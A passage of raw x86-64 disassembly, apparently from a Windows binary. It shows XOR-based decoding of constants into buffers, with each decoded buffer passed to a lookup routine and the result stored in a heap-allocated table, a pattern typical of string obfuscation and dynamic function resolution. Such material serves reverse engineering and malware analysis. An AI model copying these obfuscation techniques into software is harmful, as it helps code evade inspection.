movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14002eac0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
lea r8, [rbp + 0x3540]
mov rdx, r12
lea rcx, [rbp + 0x7820]
call fcn.140051d50
mov rcx, qword [rax + 0x18]
mov qword [rbp + 0x268], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test rcx, rcx
jne 0x14002ece8
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x80b0], r15
movabs rax, 0xe00000002001ba58
mov qword [rbp + 0x80b8], rax
mov qword [rbp + 0x80c0], r15
mov qword [rbp + 0x80c8], rax
movdqa xmm0, xmmword [rbp + 0x80c0]
pxor xmm0, xmmword [rbp + 0x80b0]
movdqa xmmword [rbp + 0x460], xmm0
movabs rax, 0x1da37c4b0beb134c
mov qword [rbp + 0x80f0], rax
movabs rax, 0x11f2c4c4a953b8cb
mov qword [rbp + 0x80f8], rax
movabs rax, 0x157e79438fa89878
mov qword [rbp + 0x8100], rax
movabs rcx, 0x19bfb2aaec72a2df
mov qword [rbp + 0x8108], rcx
movabs rax, 0x71c75227678f6702
mov qword [rbp + 0x8130], rax
movabs rax, 0x659d8a9f897e98a7
mov qword [rbp + 0x8138], rax
movabs rax, 0x15231d2dfac7de58
mov qword [rbp + 0x8140], rax
mov qword [rbp + 0x8148], rcx
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x50], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x60], xmm5
lea rax, [rbp + 0x47e0]
lea rcx, [rbp + 0x30]
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x14002ec80
xor r9d, r9d
lea r8, [rbp + 0x460]
lea rdx, [rbp + 0x47e0]
jmp 0x14002dacc
movabs rax, 0xed191f6aab99c2a
mov qword [rbp + 0x80f0], rax
movabs rax, 0xc2da52ef83a995c
mov qword [rbp + 0x80f8], rax
movabs rax, 0x176483046b
mov qword [rbp + 0x8100], rax
movabs rcx, 0x5c952d75157
mov qword [rbp + 0x8108], rcx
movabs rax, 0xeb29180aaca9c47
mov qword [rbp + 0x8130], rax
movabs rax, 0xc49a500f84e992e
mov qword [rbp + 0x8138], rax
movabs rax, 0x1764ef0407
mov qword [rbp + 0x8140], rax
mov qword [rbp + 0x8148], rcx
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x50], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x60], xmm5
lea rax, [rbp + 0x3f40]
lea rcx, [rbp + 0x30]
mov rdx, r13
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14002edb0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
lea r8, [rbp + 0x3f40]
mov rdx, r12
lea rcx, [rbp + 0x7c58]
call fcn.140051d50
mov rax, qword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
jne 0x14002efde
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x80b0], r15
movabs rax, 0xe00000002001ac19
mov qword [rbp + 0x80b8], rax
mov qword [rbp + 0x80c0], r15
mov qword [rbp + 0x80c8], rax
movdqa xmm0, xmmword [rbp + 0x80c0]
pxor xmm0, xmmword [rbp + 0x80b0]
movdqa xmmword [rbp + 0x470], xmm0
movabs rax, 0x113f24782c150070
mov qword [rbp + 0x80f0], rax
movabs rax, 0x17add31a03009775
mov qword [rbp + 0x80f8], rax
movabs rax, 0x6d06574d80ee213
mov qword [rbp + 0x8100], rax
movabs rcx, 0x5195eefa5167fd2b
mov qword [rbp + 0x8108], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7511500a4f63731d
mov qword [rbp + 0x8130], rax
movabs rax, 0x78e3883a2e20fb19
mov qword [rbp + 0x8138], rax
movabs rax, 0x5bb40b01b748c267
mov qword [rbp + 0x8140], rax
mov qword [rbp + 0x8148], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x50], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x60], xmm5
lea rax, [rbp + 0x3680]
lea rcx, [rbp + 0x30]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x14002ef70
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
xor r9d, r9d
lea r8, [rbp + 0x470]
lea rdx, [rbp + 0x3680]
jmp 0x14002dacc
mov ecx, 0x218
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
test rax, rax
je 0x14002dad4
xor edx, edx
mov r8d, 0x218
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
movabs rax, 0x18330c83d68f
mov qword [rbp + 0x80b0], rax
movabs rcx, 0x5053b98d13b4e5b
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x183369e6a4e9
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80c0]
pxor xmm0, xmmword [rbp + 0x80b0]
movaps xmmword [rbp + 0x580], xmm0
movaps xmm0, xmmword [rbp + 0x290]
movaps xmmword [rbp + 0x590], xmm0
movaps xmm1, xmmword [rbp + 0x2a0]
movaps xmmword [rbp + 0x5a0], xmm1
movaps xmm0, xmmword [rbp + 0x2b0]
movaps xmmword [rbp + 0x5b0], xmm0
movaps xmm1, xmmword [rbp + 0x2c0]
movaps xmmword [rbp + 0x5c0], xmm1
lea r8, [rbp + 0x580]
mov rdx, r15
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x78], rax
movabs rax, 0x17ea043be542cc46
mov qword [rbp + 0x80b0], rax
movabs rcx, 0x159fa55b2adf1119
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x17ea6754892ead2b
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80c0]
pxor xmm0, xmmword [rbp + 0x80b0]
movaps xmmword [rbp + 0xc50], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0xc60], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0xc70], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0xc80], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0xc90], xmm1
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0xca0], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0xcb0], xmm1
lea r8, [rbp + 0xc50]
mov rdx, r15
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x68], rax
movabs rax, 0x180c57d2f32a8325
mov qword [rbp + 0x80b0], rax
movabs rcx, 0x1513663440a382ae
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x180c34bd9f46e246
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80c0]
pxor xmm0, xmmword [rbp + 0x80b0]
movaps xmmword [rbp + 0xb00], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0xb10], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0xb20], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0xb30], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0xb40], xmm1
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0xb50], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0xb60], xmm1
lea r8, [rbp + 0xb00]
mov rdx, r15
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x70], rax
movabs rax, 0x1ca40efcf2149ae9
mov qword [rbp + 0x80b0], rax
movabs rcx, 0xbd5fab34c6320c5
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x1ca4778c9179ff84
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80c0]
pxor xmm0, xmmword [rbp + 0x80b0]
movaps xmmword [rbp + 0xb70], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0xb80], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0xb90], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0xba0], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0xbb0], xmm1
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0xbc0], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0xbd0], xmm1
lea r8, [rbp + 0xb70]
mov rdx, r15
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x80], rax
movabs rax, 0x36959cd1cd76ab6
mov qword [rbp + 0x80f0], rax
movabs rcx, 0xb460e2bb4f39627
mov qword [rbp + 0x80f8], rcx
xorps xmm2, xmm2
movabs rax, 0x30c2fa271ba0fdb
mov qword [rbp + 0x8110], rax
mov qword [rbp + 0x8118], rcx
xorps xmm0, xmm0
movdqa xmm1, xmmword [rbp + 0x8110]
pxor xmm1, xmmword [rbp + 0x80f0]
pxor xmm2, xmm0
movaps xmmword [rbp + 0xd30], xmm1
movaps xmmword [rbp + 0xd40], xmm2
movaps xmm0, xmmword [rbp + 0x380]
movaps xmmword [rbp + 0xd50], xmm0
movaps xmm1, xmmword [rbp + 0x390]
movaps xmmword [rbp + 0xd60], xmm1
movaps xmm0, xmmword [rbp + 0x3a0]
movaps xmmword [rbp + 0xd70], xmm0
movaps xmm1, xmmword [rbp + 0x3b0]
movaps xmmword [rbp + 0xd80], xmm1
movaps xmm0, xmmword [rbp + 0x3c0]
movaps xmmword [rbp + 0xd90], xmm0
movaps xmm1, xmmword [rbp + 0x3d0]
movaps xmmword [rbp + 0xda0], xmm1
lea r8, [rbp + 0xd30]
mov rdx, r15
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x88], rax
movabs rax, 0x19673d947ac9bf
mov qword [rbp + 0x80b0], rax
movabs rcx, 0x125221eecd091986
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x19675bf813acdc
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80c0]
pxor xmm0, xmmword [rbp + 0x80b0]
movaps xmmword [rbp + 0xa40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0xa50], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xa60], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xa70], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xa80], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xa90], xmm0
lea r8, [rbp + 0xa40]
mov rdx, r15
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x90], rax
movabs rax, 0x1999a193c9c4
mov qword [rbp + 0x80b0], rax
movabs rcx, 0x52086295a25e0c3
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x1999c7e4a6b4
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80c0]
pxor xmm0, xmmword [rbp + 0x80b0]
movaps xmmword [rbp + 0x5d0], xmm0
movaps xmm0, xmmword [rbp + 0x290]
movaps xmmword [rbp + 0x5e0], xmm0
movaps xmm1, xmmword [rbp + 0x2a0]
movaps xmmword [rbp + 0x5f0], xmm1
movaps xmm0, xmmword [rbp + 0x2b0]
movaps xmmword [rbp + 0x600], xmm0
movaps xmm1, xmmword [rbp + 0x2c0]
movaps xmmword [rbp + 0x610], xmm1
lea r8, [rbp + 0x5d0]
mov rdx, r15
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x98], rax
movabs rax, 0x18ece43a21220f
mov qword [rbp + 0x80b0], rax
movabs rcx, 0x4c1011739348888
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x18ec825440566e
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80c0]
pxor xmm0, xmmword [rbp + 0x80b0]
movaps xmmword [rbp + 0xaa0], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0xab0], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xac0], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xad0], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xae0], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xaf0], xmm0
lea r8, [rbp + 0xaa0]
mov rdx, r15
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0xa0], rax
movabs rax, 0x1b8f5ca924f1a794
mov qword [rbp + 0x80b0], rax
movabs rcx, 0x164b971d2e2a7616
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x1b8f2cc44782c4e3
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80c0]
pxor xmm0, xmmword [rbp + 0x80b0]
movaps xmmword [rbp + 0xbe0], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0xbf0], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0xc00], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0xc10], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0xc20], xmm1
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0xc30], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0xc40], xmm1
lea r8, [rbp + 0xbe0]
mov rdx, r15
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0xa8], rax
movabs rax, 0x1d4bc32131cf7706
mov qword [rbp + 0x80f0], rax
movabs rax, 0x775fe8ea5b439175
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x7b3fad4843bf0470
mov qword [rbp + 0x8110], rax
movabs rax, 0x775fe8ea5b43e22a
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8110]
pxor xmm0, xmmword [rbp + 0x80f0]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x8100], xmm1
lea rcx, [rbp + 0x10f0]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
lea r8, [rbp + 0x10f0]
mov rdx, qword [rbp - 0x60]
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0xb0], rax
movabs rax, 0x2212fc4ce37f377
mov qword [rbp + 0x80f0], rax
movabs rax, 0x1f90966749f73242
mov qword [rbp + 0x80f8], rax
movabs rax, 0x1fffffffeedbfd45
mov qword [rbp + 0x8100], rax
movabs rcx, 0xe00000000e59bafd
mov qword [rbp + 0x8108], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6d624ab0af528134
mov qword [rbp + 0x8130], rax
movabs rax, 0x7afcf40e3d96422f
mov qword [rbp + 0x8138], rax
movabs rax, 0x1fffffffeedbbe01
mov qword [rbp + 0x8140], rax
mov qword [rbp + 0x8148], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8140]
pxor xmm1, xmmword [rbp + 0x8100]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x50], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x60], xmm3
lea rax, [rbp + 0x32d0]
lea rcx, [rbp + 0x30]
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14002f7e0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
lea r8, [rbp + 0x32d0]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0xb8], rax
movabs rax, 0xcf9c23822652f33
mov qword [rbp + 0x80f0], rax
movabs rax, 0x34e03d5782e7c364
mov qword [rbp + 0x80f8], rax
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x8100], r15
movabs rcx, 0xe00000002001ceb2
mov qword [rbp + 0x8108], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x45bda74c43005d70
mov qword [rbp + 0x8130], rax
movabs rax, 0x5a8f5423e1829026
mov qword [rbp + 0x8138], rax
mov qword [rbp + 0x8140], r15
mov qword [rbp + 0x8148], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8140]
pxor xmm1, xmmword [rbp + 0x8100]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x50], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x60], xmm3
lea rax, [rbp + 0x29f0]
lea rcx, [rbp + 0x30]
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14002f930
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x29f0]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0xc0], rax
movabs rax, 0x6900c41df18a919
mov qword [rbp + 0x80f0], rax
movabs rax, 0x6190533af40c9519
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x69dd7c20926ccc4a
mov qword [rbp + 0x8110], rax
movabs rax, 0x6190533af40cf07d
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8110]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x8100], xmm1
lea rcx, [rbp + 0x11a0]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
lea r8, [rbp + 0x11a0]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0xc8], rax
movabs rax, 0xc98437a0f285b9c
mov qword [rbp + 0x80f0], rax
movabs rax, 0x63f59c501f091dc1
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x63de260e6e4d29df
mov qword [rbp + 0x8110], rax
movabs rax, 0x63f59c501f4869af
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8110]
pxor xmm0, xmmword [rbp + 0x80f0]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x8100], xmm1
lea rcx, [rbp + 0x1470]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
lea r8, [rbp + 0x1470]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0xd0], rax
movabs rax, 0x5a3d9fc5548e604
mov qword [rbp + 0x80f0], rax
movabs rax, 0x6283230bcf185cbd
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x67ecad9f30248357
mov qword [rbp + 0x8110], rax
movabs rax, 0x6283230bbb7b39d7
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8110]
pxor xmm0, xmmword [rbp + 0x80f0]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x8100], xmm1
lea rcx, [rbp + 0x1780]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x1780]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0xd8], rax
movabs rax, 0x1729fb5281a46e23
mov qword [rbp + 0x80f0], rax
movabs rax, 0x44124d5b2d9592dd
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
